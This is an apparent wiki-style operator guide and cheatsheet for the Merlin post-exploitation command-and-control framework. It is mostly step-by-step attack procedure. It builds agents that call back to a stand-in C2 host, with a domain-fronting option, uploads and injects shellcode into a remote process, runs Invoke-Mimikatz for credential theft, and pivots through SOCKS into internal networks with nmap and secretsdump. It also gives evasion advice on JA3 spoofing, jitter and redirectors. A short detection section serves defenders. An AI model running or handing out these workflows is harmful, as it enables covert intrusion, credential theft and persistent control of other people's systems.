Author: Russel Van Tuyl (@Ne0nd0g) Repo: https://github.com/Ne0nd0g/merlin Description: Cross-platform post-exploitation command-and-control framework written in Go License: GPL-3.0 Docs: https://merlin-c2.readthedocs.io/
⚠️ Correction notice: The previous version of this wiki described a REST-API/token-authCLI (
listener create --protocol,generate --os,--token) that does not match real Merlin.That was invented syntax. This revision is rebuilt against the current official docs(merlin-c2.readthedocs.io). Real Merlin uses a gRPC-based, menu-driven CLI — you navigate menus (Merlin»,Merlin[listeners]»,Merlin[agent][id]») and useuse/set/run/startinside them, similar to Metasploit's console feel, not flag-heavy one-liners.
Overview
Merlin is a post-exploitation C2 framework — it assumes you already have code execution on a target and helps you manage that access, not gain it. It's written entirely in Go, which gives it single-binary, cross-platform agents (Windows, Linux, macOS, and others Go can target) with no runtime dependencies.
Key capabilities:
- Multiple transport protocols per agent — HTTP/1.1, HTTP/2 (h2, h2c clear-text), HTTP/3 (QUIC), plus peer-to-peer transports (SMB, TCP, UDP) for agents that relay through other agents instead of talking to the server directly
- gRPC-secured operator CLI — the CLI talks to the Merlin Server over gRPC/TLS, authenticated with a shared password (not a REST API token)
- OPAQUE authentication — agents authenticate to listeners using the OPAQUE asymmetric password-authenticated key exchange (PAKE) by default, so no plaintext PSK ever crosses the wire
- Menu-driven CLI — Metasploit-style:
Merlin»main menu, drop intolisteners,modules, oragent interact <id>sub-menus - JA3 TLS fingerprint control — agents can spoof a specific JA3 signature
- SOCKS5 pivoting and port forwarding through agents
- Modular PowerShell/BOF-style modules — Merlin ships the module framework but not the scripts themselves; you clone tools like PowerSploit into
data/sourceyourself
Merlin shows up in OSCP-adjacent and red team contexts because it's a good example of a minimal-dependency, protocol-flexible C2 — useful both to operate and to study for your own C2 build.
Architecture
- Merlin Server — a single Go binary/daemon that manages listeners, agent state, and logging, and exposes a gRPC service for CLI operators. No database dependency — state is file-based/in-memory.
- Merlin CLI — the console (
Merlin»prompt) operators use to manage listeners, agents, and modules. Connects to the server over gRPC with TLS, authenticated by a shared password. - Listeners — configured inside the running CLI (not via startup flags), each bound to a protocol (http, https, h2, h2c, http3, or peer-to-peer smb/tcp/udp) and, for network listeners, an interface/port.
- Merlin Server no longer takes CLI flags to define listeners — listeners are created at runtime through the CLI's
listenersmenu, so you configure them fromMerlin[listeners]». - Agents — compiled Go binaries deployed to targets. Built with
maketargets (or the release download's precompiled binaries), not generated interactively from the CLI like Cobalt Strike/Sliver.
┌──────────────────────┐
│ Merlin CLI │
│ (gRPC/TLS, password │
│ authenticated) │
└──────────┬───────────┘
│ gRPC (default 127.0.0.1:50051)
▼
┌─────────────────────────────────────────┐
│ Merlin Server (daemon) │
│ Listeners created at runtime via CLI: │
│ HTTP / HTTPS / H2 / H2C / HTTP3 │
│ (+ peer-to-peer: SMB / TCP / UDP) │
└─────────────────────────────────────────┘
│
├─────────────────────────┐
│ │
▼ ▼
┌────────────────┐ ┌────────────────┐
│ Agent (Windows)│ │ Agent (Linux) │
└────────────────┘ └────────────────┘
Installation & Server Setup
Quick Start (release binary)
The recommended path is the prebuilt server release, which bundles the CLI and precompiled agents for the three major platforms under data/bin/.
# Download, extract, and run Merlin Server on Ubuntu (one-liner from the docs)
sudo bash -c '
apt update
apt install p7zip-full -y
cd /opt
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x -pmerlin -omerlin merlinServer-Linux-x64.7z
cd merlin
./merlinServer-Linux-x64
'
Server Command-Line Flags
Unlike v1-era Merlin, the server no longer reads a config.yaml for listeners — startup flags only control the gRPC control-plane (how the CLI connects), not agent-facing
listeners:
./merlin-server -h
Usage of merlin-server:
-addr string
The address to listen on for CLI client connections (default "127.0.0.1:50051")
-debug
Enable debug logging
-extra
Enable extra debug logging
-password string
The password for CLI RPC clients to connect to this server (default "merlin")
-secure
Require client TLS certificate verification (mutual TLS)
-tlsCA string
TLS Certificate Authority file path to verify client certificates
-tlsCert string
TLS certificate file path
-tlsKey string
TLS private key file path
-trace
Enable trace logging
-version
Print the version number and exit
Important:
-addris the CLI's gRPC connection point, not where agents check in. Agent-facing listeners (HTTP/HTTPS/etc.) are created separately, at runtime, from inside the CLI'slistenersmenu — see below.
Example:
./merlin-server -password "ChangeThisPassword" -addr 0.0.0.0:50051
Tip: Set a strong
-passwordand consider-securewith-tlsCA/-tlsCert/-tlsKeyfor mutual TLS on the CLI control-plane in anything beyond a lab.
Connecting the CLI
The CLI binary is included in the server release under data/bin/. Connect to a running
server:
./merlinCLI-Linux-x64 -addr 127.0.0.1:50051 -password ChangeThisPassword
This drops you into the main menu prompt:
Merlin»
If your session drops, use reconnect from inside the CLI to re-establish the gRPC connection without restarting the whole client.
Listeners
Listeners are created inside the running CLI, not via server startup flags. Move into the listeners menu, use a protocol, configure it with set, then start it.
Merlin» listeners
Merlin[listeners]» use https
Merlin[listeners][https]» set Interface 0.0.0.0
Merlin[listeners][https]» set Port 443
Merlin[listeners][https]» set Name https_main
Merlin[listeners][https]» run
Available protocols for use:
| Protocol | Notes |
|---|---|
http |
HTTP/1.1, clear-text |
https |
HTTP/1.1 over TLS |
h2c |
HTTP/2, clear-text |
h2 |
HTTP/2 over TLS (agent default protocol) |
http3 |
HTTP/2 over QUIC (UDP-based) |
smb |
Peer-to-peer — handles delegated SMB pipe traffic, doesn't bind a network interface |
tcp |
Peer-to-peer — handles delegated TCP traffic |
udp |
Peer-to-peer — handles delegated UDP traffic |
Common listener configuration options (set <option> <value>):
| Option | Description |
|---|---|
Name |
Operator-facing identifier for the listener |
Interface |
Network interface/IP to bind (default 127.0.0.1) |
Port |
Listening port |
PSK |
Pre-shared key used to encrypt agent traffic (default merlin) |
Authenticator |
OPAQUE (default, PAKE-based) or None (no auth — lab/testing only) |
Transforms |
Ordered encoding/encryption chain, default jwe,gob-base |
Description |
Free-text note for the listener |
JWTKey |
Base64 key used to sign/encrypt agent JWTs; leave empty to disable JWTs |
Listener menu commands:
Merlin[listeners]» use <protocol> # select a protocol to configure a new listener
Merlin[listeners][<protocol>]» set <option> <value>
Merlin[listeners][<protocol>]» run # instantiate and start the listener
Merlin[listeners]» list # show all configured listeners
Merlin[listeners]» interact <name> # jump back into an existing listener's config
Merlin[listeners]» delete <name> # remove a listener (prompts for confirmation)
Agent Generation (Building Agents)
There is no interactive generate command in the CLI. Agents are built from source with make, or you use the precompiled binaries already shipped in the server release's data/bin/ directory. This is the single biggest structural difference from
Cobalt Strike/Sliver-style "generate a payload from the console" workflows.
Using precompiled agents (fastest path)
The server download includes ready-to-run agent binaries for Windows, Linux, and macOS under data/bin/. You still need to tell the agent where to call home — either via the -url flag at execution time, or by rebuilding with a hardcoded URL (see below).
# Default agent connects to https://127.0.0.1:443/ unless told otherwise
./merlinAgent.exe -url https://<your-server>:443/
Building from source with make
cd /opt
git clone https://github.com/Ne0nd0g/merlin.git
cd merlin
# Build a Windows agent with a hardcoded callback URL
make windows URL=https://c2.example.com:443/ PROTO=h2 PSK=SecurePassword1
# Build a Linux agent, HTTPS, with domain fronting via a CDN host header
make linux URL=https://cdn-front.example.com:443/c2endpoint.php \
HOST=myendpoint.azureedge.net PROTO=https PSK=SecurePassword1
# Debug build that prints agent output to console instead of running silently
make windows-debug URL=https://c2.example.com:443/
Key make variables:
| Variable | Description |
|---|---|
URL |
Callback address the agent connects to |
PROTO |
https, http, h2 (default), h2c, or http3 |
PSK |
Pre-shared key matching the listener's PSK |
HOST |
HTTP Host header — used for domain fronting |
SLEEP |
Check-in interval, Go duration syntax (e.g. 10s, 1m) |
By default the agent is built with all transports and features compiled in. Build tags restrict this — if you only need HTTP, tag the build accordingly to shrink the binary and reduce capability (and therefore attack-surface/signature) footprint. Note the Windows build compiles as a GUI subsystem binary (no console window on execution); use make windows-debug
if you need to see its output while testing.
Agent Management
Main Menu
Once an agent checks in, it shows up in the agent list.
Merlin» agent list
+--------------------------------------+---------------+-----------------+-----------+-----------+
| AGENT GUID | PLATFORM | USER | HOST | TRANSPORT |
+--------------------------------------+---------------+-----------------+-----------+-----------+
| 54a20389-4f8a-4e3f-9f8e-a0f686ce529e | linux/amd64 | root | kali | HTTP/2 |
| c1090dbc-f2f7-4d90-a241-86e0c0217786 | windows/amd64 | CORP\jdoe | WIN-7PD32 | HTTP/2 |
+--------------------------------------+---------------+-----------------+-----------+-----------+
Merlin» sessions # quick view of established agents + status (Active/Delayed)
Merlin» interact <agentID> # from the main menu — tab-completable
Merlin» agent interact <agentID> # equivalent, explicit form
Merlin[agent][c1090dbc-...]»
Merlin» remove <agentID> # delete an agent record from the server
Other useful main-menu commands:
Merlin» listeners # move to the listeners menu
Merlin» modules # move to the modules menu (alias: use module)
Merlin» group add <agentID> <groupName> # organize agents into groups
Merlin» group list [groupName]
Merlin» queue <agentID|groupName> <command> [args] # queue a command for offline/delayed agents
Merlin» jobs # show unfinished/queued jobs
Merlin» banner
Merlin» verbose # toggle verbose console output
Merlin» quit [-y] # exit, prompts for confirmation unless -y
Agent Menu Commands
Inside Merlin[agent][<id>]»:
| Command | Description |
|---|---|
info |
Full detail on the agent (OS, user, integrity, PID, IPs, check-in times, sleep/jitter, kill date, etc.) |
status |
Print the agent's current status |
pwd |
Print working directory |
cd <path> |
Change directory (quote paths with spaces; escape Windows backslashes: cd C:\\Users) |
ls [path] |
List directory contents — implemented natively in Go, not by shelling out to ls/dir |
shell <cmd> |
Execute a command via the OS shell and return output |
cmd <cmd> |
Deprecated — use shell instead |
upload <local> <remote> |
Upload a file from the operator machine to the agent |
download <remote_file> |
Download a file from the agent to the operator machine |
execute-shellcode <self\|remote <pid>\|RtlCreateUserThread <pid>> <shellcode> |
Execute shellcode via one of several injection methods (Windows) |
set <ja3\|killdate\|maxretry\|padding\|skew\|sleep> <value> |
Change one of the agent's live operational parameters |
kill |
Instruct the agent to terminate |
back / main |
Return to the main menu |
There is no separate "modules" system baked permanently into the agent binary the way the prior version of this doc implied — credential access, persistence, and similar capability comes through the modules framework (below), not built-in agent verbs like minidump or persist.
Modules
Merlin's module framework wraps external tooling (PowerShell scripts, BOFs, etc.) rather than shipping them prebuilt. Merlin does not ship the scripts themselves — you clone them into data/source yourself (e.g. PowerSploit), and the module definition tells Merlin whether to push that script to the target (local) or have the agent fetch it directly (remote).
Merlin» modules
Merlin[modules]» use windows/x64/powershell/powersploit/Invoke-Mimikatz
Merlin[modules][.../Invoke-Mimikatz]» show
Merlin[modules][.../Invoke-Mimikatz]» set <option> <value>
Merlin[modules][.../Invoke-Mimikatz]» info # module details/help
Merlin[modules][.../Invoke-Mimikatz]» run # execute against the module's configured agent
Module menu commands:
| Command | Description |
|---|---|
use <module path> |
Load a module by its path under the modules tree |
show |
Show the module's configurable options |
set <key> <value> |
Set an option (e.g. the target agent) |
info |
Show module metadata/help |
run |
Execute the module against its configured agent |
reload |
Reset the module's options to defaults |
interact <agentID\|listenerID> |
Jump to interact with an agent or listener from here |
back / main |
Return to the main menu |
Getting PowerSploit (or similar) into place:
cd data/source
git clone https://github.com/PowerShellMafia/PowerSploit.git
OPSEC Considerations
Authentication & transport
- OPAQUE is the default authenticator — it's a PAKE, so the PSK never crosses the wire in a form that can be captured and cracked from traffic alone. Don't downgrade a listener's
AuthenticatortoNoneoutside of lab testing. - PSK still matters — it seeds the OPAQUE exchange. Treat it like a credential: document it, don't reuse it across engagements, and rotate the listener's
JWTKeyif you suspect the server was compromised (existing agents can recover as long as the PSK still matches).
Traffic fingerprinting
- JA3 — agents can be built or reconfigured to present a specific JA3 TLS client signature, which helps blend in with expected traffic on the target network.
- Sleep/jitter — set realistic check-in intervals; exact fixed intervals are one of the more obvious network-behavior tells.
- Protocol choice —
h2c/httpare clear-text and trivially inspectable; preferhttps,h2, orhttp3outside of isolated lab environments. - Domain fronting — the
HOSTbuild variable lets you front traffic through a CDN endpoint, separating the TLS SNI/cert from the true C2 destination.
Server-side
- gRPC control-plane exposure — the CLI's gRPC port (
-addr, default127.0.0.1:50051) should not be exposed to untrusted networks; it's the operator control-plane, not agent-facing. - Use
-securewith mutual TLS for the CLI connection on anything beyond solo lab use. - Put agent-facing listeners behind a redirector (nginx/Apache) in live engagements rather than exposing the Merlin listener directly.
Pivoting: SOCKS5 & Port Forwarding
SOCKS5 proxying is run from the main menu, targeting a specific agent — not from inside the agent's own menu.
Merlin» socks start 9050 c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Started SOCKS listener for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 on 127.0.0.1:9050
Merlin» socks list
Merlin» socks stop 9050 c1090dbc-f2f7-4d90-a241-86e0c0217786
Note: There can only be one SOCKS5 listener per agent, and SOCKS5 listeners do not authenticate connections themselves — restrict access with local firewall rules or an SSH tunnel to the operator box.
Route tooling through it via proxychains:
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 445,3389,22 192.168.1.0/24
proxychains impacket-secretsdump 'CORP/admin:password@192.168.1.10'
Detection Notes (Blue Team Awareness)
Network indicators
- Exact, jitter-free check-in intervals
- Known default paths/behavior if a listener's defaults were never customized
- TLS/JA3 fingerprint mismatches (a JA3 that doesn't match the claimed User-Agent/browser)
- HTTP/3 (QUIC/UDP) C2 traffic stands out in environments where UDP 443 isn't normally used
Behavioral indicators
shell-spawned child processes under unusual parents- Rapid recon command sequences (
whoami,net user,net localgroup administrators) issued back-to-back — normal admin activity is rarely this dense execute-shellcodeinjection into unrelated processes
File-based indicators
- Unsigned Go binaries with characteristic high entropy sections
- Staging paths under common temp directories
Notes for defenders and for your own C2 design
- Since Merlin uses Go's native directory listing (
ls) rather than shelling out todir/lsbinaries, EDR that only hooks process-spawn events for recon commands will miss it — file and network telemetry matters more here than process telemetry for that specific action. - OPAQUE authentication means you can't detect Merlin agents by cracking a captured PSK from network traffic; detection has to lean on behavior and fingerprinting, not credential replay.
Common Attack Workflows
Workflow: Initial Foothold → SOCKS Pivot → Internal Recon
# 1. Stand up a listener
Merlin» listeners
Merlin[listeners]» use https
Merlin[listeners][https]» set Port 443
Merlin[listeners][https]» set Name https_main
Merlin[listeners][https]» run
# 2. Build an agent pointed at it (from a shell, not the CLI)
# make windows URL=https://c2.example.com:443/ PROTO=https PSK=SecurePassword1
# 3. Deliver + execute the agent on the target (outside Merlin's scope — phishing, exploit, etc.)
# 4. Back in the CLI, confirm check-in
Merlin» agent list
Merlin» interact <agentID>
# 5. Recon
Merlin[agent][<id>]» shell whoami /all
Merlin[agent][<id>]» shell ipconfig /all
Merlin[agent][<id>]» back
# 6. Pivot into the internal network via SOCKS5
Merlin» socks start 9050 <agentID>
echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 445,3389,22 192.168.1.0/24
Workflow: Credential Access via a Module
Merlin» modules
Merlin[modules]» use windows/x64/powershell/powersploit/Invoke-Mimikatz
Merlin[modules][.../Invoke-Mimikatz]» show
Merlin[modules][.../Invoke-Mimikatz]» set agent <agentID>
Merlin[modules][.../Invoke-Mimikatz]» run
Workflow: File Staging and Shellcode Execution
Merlin» interact <agentID>
Merlin[agent][<id>]» upload ./payload.bin C:\\Temp\\payload.bin
Merlin[agent][<id>]» execute-shellcode remote <target-pid> C:\\Temp\\payload.bin
Cheatsheet
Server Setup
./merlin-server -password "ChangeThisPassword" -addr 0.0.0.0:50051
Connect the CLI
./merlinCLI-Linux-x64 -addr 127.0.0.1:50051 -password ChangeThisPassword
Listeners
listeners
use https
set Interface 0.0.0.0
set Port 443
set Name https_main
run
list
interact <name>
delete <name>
Build an Agent (from a shell, not the CLI)
make windows URL=https://c2.example.com:443/ PROTO=h2 PSK=SecurePassword1
make linux URL=https://c2.example.com:443/ PROTO=https PSK=SecurePassword1
make windows-debug URL=https://c2.example.com:443/ # console output for testing
Agent Management
agent list
sessions
interact <agentID>
remove <agentID>
Inside an Agent Session
info
status
pwd
cd C:\\Users
ls
shell whoami
shell ipconfig
upload ./local/file C:\\remote\\path\\file
download C:\\remote\\file
execute-shellcode self <shellcode>
set sleep 30
kill
back
Modules
modules
use windows/x64/powershell/powersploit/Invoke-Mimikatz
show
set agent <agentID>
run
Pivoting (SOCKS5 — from the main menu)
socks start 9050 <agentID>
socks list
socks stop 9050 <agentID>
Useful Recon One-Liners (via shell)
shell tasklist /v
shell wmic os get name,version
shell arp -a
shell route print
shell net user
shell net localgroup administrators
shell query user
shell netsh advfirewall show allprofiles state
shell net share
shell net view \\TARGET /all
References
- GitHub: https://github.com/Ne0nd0g/merlin
- Documentation: https://merlin-c2.readthedocs.io/
- Merlin Agent source: https://github.com/Ne0nd0g/merlin-agent
- Merlin Agent DLL source: https://github.com/Ne0nd0g/merlin-agent-dll
- Documentation source repo (for diffing changes over time): https://github.com/Ne0nd0g/merlin-documentation
- Releases: https://github.com/Ne0nd0g/merlin/releases
Appendix: Common Operational Mistakes
- Confusing the gRPC
-addrflag with an agent listener — it's the CLI's control-plane connection, agents never touch it - Forgetting the PSK has to match between the
makebuild and the listener'sPSKoption— mismatched PSKs break the OPAQUE handshake silently - Using exact check-in intervals without adjusting
sleep/jitter — easy network tell - Leaving a listener's
AuthenticatorasNoneoutside of lab testing - Exposing the CLI's gRPC port to an untrusted network
- Trying to
generatean agent from inside the CLI — that command doesn't exist; agents are built withmakeor taken from the release's precompileddata/bin/ - Not cloning module dependencies (e.g. PowerSploit) into
data/sourcebefore trying toruna module that needs them